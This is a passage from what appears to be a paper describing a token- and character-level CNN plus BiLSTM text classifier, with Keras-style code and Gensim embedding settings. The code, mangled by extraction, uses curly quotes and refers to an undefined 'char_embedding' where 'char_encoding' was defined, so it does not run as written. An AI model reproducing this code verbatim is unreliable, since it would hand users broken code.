64 filters and a kernel size of 3 (meaning that we processed
each time 3 tokens/characters). For the token level input, a
max-pooling layer is used with a pool and stride size of 3.
After the concatenation, we use a bi-directional LSTM layer
with output of size 32, and a Dense layer with a Sigmoid
activation function as our output.
#TOKEN
token_input = Input(shape=(1000,),
dtype=’float’)
token_embedding = GetEmbeddingLayer()
(token_input)
token_conv = Conv1D(64, kernel_size=3,
strides=1, padding=’valid’,
activation=’relu’)
(token_embedding)
token_pool = MaxPooling1D(pool_size=3,
strides=3)(token_conv)
token_drop =Dropout(.5)(token_pool)
#CHAR
char_input = Input(shape=(1000,),
dtype=’float’)
char_encoding = OneHotWithCaseBit(max_len)
(char_input)
char_conv = Conv1D(64, kernel_size=3,
strides=1, padding=’valid’,
activation=’relu’)
(char_embedding)
char_pool = GlobalMaxPooling1D()(char_conv)
char_drop = Dropout(.5)(char_pool)
char_repeated = RepeatVector
(token_drop.get_shape() [1].value)
(char_drop)
#Merge
merged = concatenate
([token_drop, char_repeated])
lstm = Bidirectional(LSTM(32,
dropout=0.3, recurrent_dropout=0.01))
(merged)
output = Dense(1, activation="sigmoid")
(lstm)
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D. Tokens Embedding
We used Gensim20 to build the embedding. Both W2V and
FastText were used, with CBOW as the training algorithm.
Parameters used are:
• Min length of a word was two, max was 50.
• We ignored all words with total frequency lower than ten.
• Our embedding space size is 32.
• The window size used was 4 (window is the maximum
distance between the current and predicted word within
a sentence).
• We performed negative sampling with five noise words.
• We performed 25 iterations.
20https://radimrehurek.com/gensim/
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